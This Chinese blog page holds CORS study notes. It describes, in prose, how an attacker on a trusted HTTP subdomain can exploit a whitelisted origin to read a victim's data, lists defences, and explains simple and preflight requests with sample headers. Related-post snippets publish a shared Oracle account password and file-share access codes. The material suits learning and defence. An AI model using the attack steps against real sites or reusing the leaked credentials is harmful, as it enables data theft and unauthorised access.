在这种情况下,能够拦截受害者用户流量的攻击者可以利用CORS配置破坏受害者与应用程序的交互。该攻击包括以下步骤:
- 受害用户发出任何普通的HTTP请求。
- 攻击者将重定向注入到: http://trusted-subdomain.vulnerable-website.com
- 受害者的浏览器遵循重定向。
- 攻击者拦截原始的HTTP请求,然后将包含CORS请求的欺骗响应返回给: https://vulnerable-website.com
- 受害者的浏览器发出CORS请求,包括来源: http://trusted-subdomain.vulnerable-website.com
- 该应用程序允许该请求,因为这是白名单来源。请求的敏感数据将在响应中返回。
- 攻击者的欺骗页面可以读取敏感数据,并将其传输到攻击者控制下的任何域。
- 即使易受攻击的网站对HTTPS的使用具有鲁棒性,没有HTTP终结点并且所有cookie被标记为安全,此攻击也有效。
防御CORS
如何预防基于CORS的攻击
CORS漏洞主要是由于配置错误而引起的。因此,预防是一个配置问题。以下各节介绍了一些针对CORS攻击的有效防御措施。
正确配置跨域请求
如果Web资源包含敏感信息,则应在Access-Control-Allow-Origin标头中正确指定来源。
只允许信任的网站
看起来似乎很明显,但是Access-Control-Allow-Origin标头中指定的来源只能是受信任的站点。特别是,无需验证就可以动态反映跨域请求的来源而无需验证,因此应避免使用。
避免将null列入白名单
避免使用标题Access-Control-Allow-Origin: null。来自内部文档和沙盒请求的跨域资源调用可以指定null来源。应针对私有和公共服务器的可信来源正确定义CORS标头。
避免在内部网络中使用通配符
避免在内部网络中使用通配符。当内部浏览器可以访问不受信任的外部域时,仅靠信任网络配置来保护内部资源是不够的。
CORS不能替代服务器端安全策略
CORS定义了浏览器的行为,绝不能替代服务器端对敏感数据的保护-攻击者可以直接从任何可信来源伪造请求。因此,除了正确配置的CORS之外,Web服务器还应继续对敏感数据应用保护,例如身份验证和会话管理。
实验室和参考:
https://portswigger.net/web-security/cors
正在学习这个漏洞,有些错误的地方请指出,本人也会在以后的学习加以改正.
-
跨域资源共享CORS学习笔记
2017-12-19 12:34:56跨域资源共享CORS学习笔记1、同源政策含义1995年,同源政策由 Netscape 公司引入浏览器。目前,所有浏览器都实行这个政策。最初,它的含义是指,A网页设置的 Cookie,B网页不能打开,除非这两个网页”同源”。所谓”...跨域资源共享CORS学习笔记
1、同源政策
含义
1995年,同源政策由 Netscape 公司引入浏览器。目前,所有浏览器都实行这个政策。
最初,它的含义是指,A网页设置的 Cookie,B网页不能打开,除非这两个网页”同源”。所谓”同源”指的是”三个相同”。
协议相同 域名相同 端口相同
举例来说,http://www.example.com/dir/page.html这个网址,协议是http://,域名是www.example.com,端口是80(默认端口可以省略)。它的同源情况如下。
http://www.example.com/dir2/other.html:同源 http://example.com/dir/other.html:不同源(域名不同) http://v2.www.example.com/dir/other.html:不同源(域名不同) http://www.example.com:81/dir/other.html:不同源(端口不同)
目的
同源政策的目的,是为了保证用户信息的安全,防止恶意的网站窃取数据。
设想这样一种情况:A网站是一家银行,用户登录以后,又去浏览其他网站。如果其他网站可以读取A网站的 Cookie,会发生什么?
很显然,如果 Cookie 包含隐私(比如存款总额),这些信息就会泄漏。更可怕的是,Cookie 往往用来保存用户的登录状态,如果用户没有退出登录,其他网站就可以冒充用户,为所欲为。因为浏览器同时还规定,提交表单不受同源政策的限制。
由此可见,”同源政策”是必需的,否则 Cookie 可以共享,互联网就毫无安全可言了。
限制范围
随着互联网的发展,”同源政策”越来越严格。目前,如果非同源,共有三种行为受到限制。
(1) Cookie、LocalStorage 和 IndexDB 无法读取。 (2) DOM 无法获得。 (3) AJAX 请求不能发送。
对于跨域问题,可以简单理解为:浏览器执行javascript脚本时,会检查这个脚本属于哪个页面,如果不是同源页面,就不会被执行。
对于它通常有三种解决办法:
- JSONP:JSONP只支持GET请求
- 代理:例如www.123.com/index.html需要调用www.456.com/server.php,可以写一个接口www.123.com/server.cgi,由这个接口在后端去调用www.456.com/server.php并拿到返回值,然后再返回给index.html,这就是一个代理的模式。相当于绕过了浏览器端,自然就不存在跨域问题。
- SERVER端支持CORS,即增加对Origin等字段判断,返回响应是增加Access-Control-Allow-Origin、Access-Control-Allow-Method等字段
代理方法比较清晰,是直接通过先访问同源后端接口,通过后端接口去访问跨域资源,也就不会存在跨域的问题(跨域的问题仅存在于,浏览器执行javascript脚本时)
但代理模式也有比较明显的缺点,比如如果浏览器访问的页面需要访问的域名的资源是不断变化,那么使用代理模式就要频繁改动代码,扩展性很差,所以并不是一个好的选择。
JSONP:jsonp(json width padding)是JSON的一种“使用模式”,可用于解决主流浏览器的跨域数据访问的问题。由于同源策略,一般来说位于service.example.com的网页无法与不是service2.example.com的服务器沟通,而HTML的script元素是一个列外。利用script圆度开放策略,网页可以等到从其他源动态产生的JSON资料,而这种使用模式就是所谓的JSONP。用JSONP抓到的资料并不是JSON,而是任意的Javascript,用javascript直译器执行而不是用JSON解析器解析。
但JSONP有几个问题,一是要求客户必须限制使用JSONP,这个方案并不是后端SERVER支持跨域;二则是JSONP只支持GET方法。
JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。
这里总结下上面的内容:如果用户使用不支持跨域的APIGW作为中间件连接后端server,那么是无法通过浏览器访问后端server的,基本就代表着使用qcloud APIGW完成的代码,无法使用浏览器。。包括桌面浏览器、移动浏览器以及APP内置使用的webview均无法使用
CORS与JSONP的使用目的相同,但是比JSONP更强大。这里着重介绍下CORS跨域资源共享
2、跨域资源共享
定义
跨来源资源共享(Cross-Origin Resource Sharing(CORS))是一种使用额外HTTP标头来让目前浏览网站的user agent能获得访问不同来源(网域)服务器特定资源之权限的机制。当user agent请求一个不是目前文件来源——来自于不同网域(domain)、通信协定(protocol)或通信端口(port)的资源时,会建立一个跨来源HTTP请求(cross-origin HTTP request)。
基于安全性考虑,浏览器和WebView发出的HTTP请求会有限制。例如,XMLHttpRequest及Fetch皆遵守同源政策(same-origin policy)。这代表网络应用程序所使用的这些API只能请求来自和应用程序相同网域的HTTP资源,除非使用了CORS标头。
哪些请求会使用到CORS?
- 使用XMLHttpRequest或Fetch API进行跨站请求,如前所述。
- 网页字体(跨网域CSS的@font-face的字体用途),所以服务器可以部属TrueType字体并限制仅让被许可的网站进行跨站加载使用。
WebGL纹理。 - 以drawImage绘制到Canvas画布上的图形/视频之影格。
- CSS样式表(让CSSOM存取)。
- 指令码(for unmuted exceptions)
跨域请求详解
CORS需要浏览器和服务器同时支持。当前桌面和移动浏览器对CORS的支持情况如下:
a、浏览器端支持情况
桌面浏览器:
浏览器 Chrome Edge FireFox IE Opera Safari 支持CORS最低版本 4 12 3.5 10 12 4 - IE8 和 IE9 通过 XDomainRequest 插件支持CORS,IE10 开始则完全正常支持CORS。
- Firefox 3.5 支持跨域 XMLHttpRequests 与 Web Fonts,较旧版本上某些请求会有限制。 Firefox 7 支持 WebGL 纹理的跨域 HTTP 请求,而 Firefox 9 新增支持使用 drawImage 方法,将图形绘制于 canvas 中。移动浏览器:
浏览器 Android webview Chrome for Android Edge mobile Firefox for Android IE mobile Opera Android iOS Safari 支持CORS最低版本 2.1 ALL ALL 4 ALL 12 3.2 整个CORS通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS通信与同源通信没有差别,代码完全一样。浏览器一旦发现HTTP请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求(复杂请求),但用户不会感知。
支持CORS的主要改动点在server端
b、两种跨域请求
浏览器将CORS请求分成两类:简单请求(simple request)和预检请求。
同时满足以下条件,那么就是简单请求。
(1) 请求方法是以下三种方法之一: HEAD GET POST (2)HTTP的头信息不超出以下几种字段: Accept Accept-Language Content-Language Last-Event-ID Content-Type:只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain (3)没有事件监听器被注册到任何用来发出请求的 XMLHttpRequestUpload 上(经由 XMLHttpRequest.upload 方法取得)上。 (4)请求中没有 ReadableStream 类型的内容被用于上传。
PS:虽然这些都是网页目前已经可以送出的跨站请求,除非后端服务器回复正确CORS标志,否则不会有内容传回来,因此不允许跨域请求的网站无须担心会受到新的HTTP 存取控制的影响。
通常情况下主要涉及条件(1)和条件(2)
如果不满足上述条件任何一个,那么它就是预检请求。
c、简单请求
浏览器发现自己发送的是简单跨域请求,则会只发送一次HTTP请求。相较于同源请求,CORS简单请求会在头信息中额外增加一个Origin字段。
下图是一个简单跨域请求例子:浏览器发现本次请求是跨域请求,就会自动在请求头信息中增加Origin字段(依赖于浏览器机制/或者JS解释器的实现)
请求和响应内容如下:假定是从apigw.qcloud.com去请求qcloud.com的资源
请求 GET /resources/public-data/ HTTP/1.1 Host: qcloud.com User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: keep-alive Origin: http://apigw.qcloud.com 响应 HTTP/1.1 200 OK Date: Mon, 01 Dec 2008 00:23:53 GMT Server: Apache/2.0.61 Access-Control-Allow-Origin: * Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: application/xml
HTTP请求中的Origin字段表示该请求是来自于http://apigw.qcloud.com的请求
如果Origin指定的域名在许可范围内,服务器返回的响应,会多出几个头信息字段。
Access-Control-Allow-Origin: http://api.bob.com Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: FooBar Content-Type: application/xml
本次请求示例中响应是携带了Access-Control-Allow-Origin: *,或者是Access-Control-Allow-Origin: http://apigw.qcloud.com
如果Origin指定的源,不在许可范围内,服务器会返回一个正常的HTTP回应。浏览器发现,这个回应的头信息没有包含Access-Control-Allow-Origin字段,就知道出错了,从而抛出一个错误,被XMLHttpRequest的onerror回调函数捕获。注意,这种错误无法通过状态码识别,因为HTTP回应的状态码有可能是200。
d、预检请求
不满足简单请求条件之一的即是非简单请求。非简单请求的CORS请求,会在正式通信之前,增加一次HTTP查询请求,称为”预检”请求(preflight)。
「预检(preflighted)」请求会先用HTTP 的OPTIONS 方法请求另一个域名资源,确认后续实际(actual)请求能否可安全送出。由于跨域请求可能会携带使用者的信息,所以要先进行预检请求。
下图是一个预检请求例子:
请求和响应内容如下:
假定是从apigw.qcloud.com去请求qcloud.com的资源
第一次是预检请求/响应:
OPTIONS /resources/post-here/ HTTP/1.1 Host: qcloud.com User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: keep-alive Origin: http://apigw.qcloud.com Access-Control-Request-Method: POST Access-Control-Request-Headers: X-PINGOTHER, Content-Type HTTP/1.1 200 OK Date: Mon, 01 Dec 2008 01:15:39 GMT Server: Apache/2.0.61 (Unix) Access-Control-Allow-Origin: http://apigw.qcloud.com Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: X-PINGOTHER, Content-Type Access-Control-Max-Age: 86400 Vary: Accept-Encoding, Origin Content-Encoding: gzip Content-Length: 0 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Content-Type: text/plain
等到预检请求完成后,浏览器才会发送真正的响应:
POST /resources/post-here/ HTTP/1.1 Host: qcloud.com User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: keep-alive X-PINGOTHER: pingpong Content-Type: text/xml; charset=UTF-8 Content-Length: 55 Origin: http://apigw.qcloud.com Pragma: no-cache Cache-Control: no-cache <?xml version="1.0"?><person><name>Arun</name></person> HTTP/1.1 200 OK Date: Mon, 01 Dec 2008 01:15:40 GMT Server: Apache/2.0.61 (Unix) Access-Control-Allow-Origin: http://apigw.qcloud.com Vary: Accept-Encoding, Origin Content-Encoding: gzip Content-Length: 235 Keep-Alive: timeout=2, max=99 Connection: Keep-Alive Content-Type: text/plain [Some GZIP'd payload]
先看请求,Access-Control-Request-Method告诉服务器发的请求是POST请求,Access-Control-Request-Headers通知自己带有X-PINGOTHER自定义header
再看响应,Access-Control-Allow-Origin这个与前面类似,Access-Control-Allow-Methods这里说明支持POST/GET/OPTIONS方法,Access-Control-Allow-Headers这里说明允许X-PINGOTHER自定义header,Access-Control-Max-Age用来指定本次预检请求的有效时间,86400是24小时也就是一天。
问题:1、若简单跨域请求校验失败,APIGW应如何回复?
2、若预检跨域请求校验失败,APIGW应如何回复?
3、目前浏览器并不支持预检请求的重定向,如果发生了预检请求的重定向,则浏览器会大概率报错一旦服务器通过了”预检”请求,在Access-Control-Max-Age指定的时间内,以后每次浏览器正常的CORS请求,就都跟简单请求一样,会有一个Origin头信息字段。服务器的回应,也都会有一个Access-Control-Allow-Origin头信息字段。
e、HTTP跨域请求标识
Origin
Origin 字段表示了跨域请求的来源或者预检请求的来源。在任何跨域请求中,一定要携带Origin字段
Origin: <origin>
Access-Control-Request-Method(仅在预检请求中)
Access-Control-Request-Method 是用在预检请求中,告诉后端server实际请求用的HTTP方法
Access-Control-Request-Method: <method>
Access-Control-Request-Headers(仅在预检请求中)
Access-Control-Request-Headers标识用于预检请求中,它会告诉后端server自己所携带的自定义header字段有哪些
Access-Control-Request-Headers: <field-name>[, <field-name>]*
f、HTTP跨域响应标识
Access-Control-Allow-Origin
跨域响应会携带该字段,若服务器允许所有uri来访问自己的资源,那么则该字段为*;若要允许http://www.qq.com访问该资源,则为Access-Control-Allow-Origin: http://www.qq.com
Access-Control-Allow-Origin: <origin> | *
Access-Control-Expose-Headers
Access-Control-Expose-Headers表示服务器允许浏览器从响应中解析哪些header字段
Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
表示服务器允许浏览器从响应中解析X-My-Custom-Header, X-Another-Custom-Header字段
Access-Control-Max-Age
Access-Control-Max-Age表示预检请求结果请求成功后,多长时间内非简单请求可以不需要再发预检请求,可以继续直接使用跨域请求请求资源
Access-Control-Max-Age: <delta-seconds>
Access-Control-Allow-Credentials
这里下次补充。
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods(仅在预检请求响应中)
Access-Control-Allow-Methods表示服务器访问操作该资源允许哪些方法
Access-Control-Allow-Methods: <method>[, <method>]*
Access-Control-Allow-Headers(仅在预检请求响应)
Access-Control-Allow-Headers表示在访问这个域资源的时候,预检请求响应中哪些header字段可以在跨域请求中使用
Access-Control-Allow-Headers: <field-name>[, <field-name>]*
2、后端server实现CORS功能可以参考如下代码
KONG CORS模块:https://github.com/Kong/kong/tree/master/kong/plugins/cors
GO http middlerware:https://github.com/rs/cors
3、参考文档
http://www.ruanyifeng.com/blog/2016/04/same-origin-policy.html
http://www.ruanyifeng.com/blog/2016/04/cors.html
https://developer.mozilla.org/zh-TW/docs/Web/HTTP/CORS#Preflighted_requests
-
资源共享(好东西,要分享)
2018-03-08 18:56:06资源共享 好东西是要分享的 自由软件 链接:https://pan.baidu.com/s/1bqCHjCb 密码:hmbz mysql数据库 链接: https://pan.baidu.com/s/1bpPYiHh 密码: 4iup PHP基础 链接: ... -
iapp资源共享
2018-09-17 22:39:19猎码网(bbs.leilin.work)专业提供网站模板,源码分享,商业源码,游戏源码,菠菜源码,qp源码,CMS使用教程等站长资源,致力于打造最专业的资源分享平台! 更多精品网络资源: https://blog.csdn.net/qq_35692428 -
15 张精美动图全面讲解 CORS(跨域资源共享、同源策略)
2020-10-28 21:25:3515 张精美动图全面讲解 CORS(跨域资源共享、同源策略) -
CSRF 跨站请求伪造及CORS跨域资源共享漏洞修复案例
2019-06-12 18:18:11跨站请求伪造(CSRF):是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法...用户C再访问攻击网站B,网站B上有某个隐藏的链接或者图片标签会自动请求网站A的URL地址,例如表单提交,传指定的参数... -
CORS跨域资源共享漏洞
2021-07-29 15:08:51跨域资源共享 (CORS) 是一种浏览器机制,可以对位于给定域之外的资源进行受控访问。它扩展并增加了同源策略 (SOP) 的灵活性。但是,如果网站的 CORS 策略配置和实施不当,它也会为基于跨域的攻击提供可能性。 ... -
远程桌面或者共享访问引起资源管理器崩溃,故障模块名称StackHash_423a
2018-01-13 15:11:38远程桌面mstsc或者网络共享输入密码后资源管理器崩溃的,故障模块名称:StackHash_423a 解决方法: 将...AppData\Local\Microsoft\Terminal Server Client\Cache 下面的bcache开头的.bmc文件删除。 ... -
【网络知识补习】❄️| 由浅入深了解HTTP(五)跨源资源共享(CORS)
2021-07-17 11:05:53跨源资源共享还通过一种机制来检查服务器是否会允许要发送的真实请求,该机制通过浏览器发起一个到服务器托管的跨源资源的"预检"请求。在预检中,浏览器发送的头中标示有HTTP方法和真实请求中会用到的头。 -
全球数据共享网站集合
2015-11-17 16:37:50网站原连接: http://blog.sciencenet.cn/home.php?mod=space&uid=461711&do=blog&id=772946 http://yangwanshun518.blog.163.com/blog/static/30080136201121083539381/ 包括:综合资料、降水、SST、地面覆盖... -
HTTP(二)、跨域资源共享(CORS)
2018-09-08 15:37:192.跨域资源共享(CORS) 跨域简介 当访问一个资源文件时,如果从非该资源文件所在的服务器不同域名或者端口处进行访问时,该资源会发起一个跨域请求。 例如,网站A的地址是http://www.domain-a.com ,该网站... -
如何建立一个 [FTP站点 or HTTP站点] 去实现资源共享
2020-06-18 23:04:41老师们经常使用的用FTP传文件给我们的方法也是这样设的(例如在一个机房里面给我们传文件),只不过不是添加网站,而是添加FTP站点。但是照着我这步骤,FTP局域网直接的传输好像也莫得问题。不需要的时候随时断开站点... -
Cross-Origin Resource Sharing (CORS)跨域资源共享
2017-10-23 15:13:02CORS是一个W3C标准,全称是”跨域资源共享”(Cross-origin resource sharing)。 它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。 本文详细介绍CORS的内部机制。一、简介... -
session共享原理以及PHP 实现多网站共享用户SESSION 数据解决方案
2018-03-10 16:58:34参考自:http://www.cnblogs.com/qulinke/articles/6003049.htmlhttps://segmentfault.com/q/1010000005788476... 让所有域名对应的服务器访问的Session的数据的位置必须一致下面重点讲讲实现,Session共享相对... -
Oracle账号 Oracle官网登录下载资源账号密码共享
2021-01-31 14:26:16Oracle官网登录下载资源账号密码共享 oracle官网下载地址: https://www.oracle.com/database/technologies/oracle-database-software-downloads.html Oracle帐号:2696671285@qq.com Oracle密码:Oracle123 亲测... -
跨域资源共享”(Cross-origin resource sharing)解析
2019-03-06 13:49:53CORS是一个W3C标准,全称是”跨域资源共享”(Cross-origin resource sharing)。 它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。 本文详细介绍CORS的内部机制。 一、简介... -
【史上最全】设计师必备的83个设计资源网站
2019-01-17 13:05:25如何才能完成一个成功的...全文主要包括Logo、字体、图片、图标、网站模板、设计灵感网站、配色方案、设计工具、设计课程9类设计资源。 Logo设计资源网站 1. Logoed 网站地址:http://www.logoed.co.uk/ ... -
Access-Control-Allow- 设置 CORS(跨域资源共享)详解
2018-11-26 08:19:41CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。 它允许浏览器向跨源服务器,发出 XMLHttpRequest 请求,从而克服了AJAX只能 同源 使用的限制。 本文详细介绍CORS的内部机制。 ... -
跨域资源共享 CORS(Cross-origin resource sharing)
2017-03-23 09:36:23跨域资源共享 CORS(Cross-origin resource sharing)一、简介 CORS需要浏览器和服务器同时支持。目前,IE浏览器不能低于IE10。其他所有浏览器都支持该功能 整个CORS通信过程,都是浏览器自动完成,不需要用户... -
Access-Control-Allow- 设置 跨域资源共享 CORS 详解
2017-12-07 14:11:46CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。 它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。 本文详细介绍CORS的内部机制。 (图片... -
tomcat7.0配置CORS(跨域资源共享)
2016-04-15 16:05:08平时我们做前台页面时可能会遇到浏览器以下提示(浏览器控制台): ...这种情况就是跨域请求被阻止,这样可能会导致当前网站的css、js 、ajax请求、font字体等资源出现无法正常访问的问题,这时就涉及到“跨域资源共... -
属于计算机网络的资源子网
2021-06-17 06:54:147.3练习题7.3.1 选择题1.()不属于计算机网络的资源子网。A) 主机B) 网络操作系统C) 网关D) 网络数据库系统2. 浏览网站需要在()栏写入网址。A) File B) HTML C) URL D) FTP3.计算机网络按地理范围分为局域网、城域网... -
超实用的开源项目—如何将WiFi密码转成二维码进行共享
2021-07-27 10:38:22如何将WiFi密码转成二维码进行共享,项目地址:https://github.com/lexsaints/wifi-card -
打造个人知识库网站(Docsify+GitHub Page)
2022-03-09 19:45:27Docsify+GitHub Page 打造个人知识库网站 -
btsync 分享资源
2015-12-11 09:10:06文档的分享者可以将资源放到文件夹下,生成共享Key,分享给接受者,接受者只需打开软件,输入Key即可接收。 传送过程中,分享者需要一直打开软件上传内容,与BT下载中的做种类似,下载完成的人越多,传送速度越快... -
Windows server 2012 R2 搭建网站
2019-10-24 20:46:10远程连接云服务器云服务器与本机的资源共享二.在windows server 2012 r2中搭建IIS服务器安装IIS之后的配置及讲解三.网站备案与域名解析四.搭建网站网站访问不成功的一些解决办法五.关于数据库的连接遇见问题的解决... -
12个免费矢量免抠素材网站
2019-10-22 15:46:39资源 | 11个免费矢量免抠素材网站 PNGAll(推荐指数:❤❤❤❤) 网站:www.pngall.com PNGAll.com是一个信息网络博客,免费为用户提供最优质的PNG透明图像 国外网站,比较简洁,仅支持英文搜索,建议使用浏览器...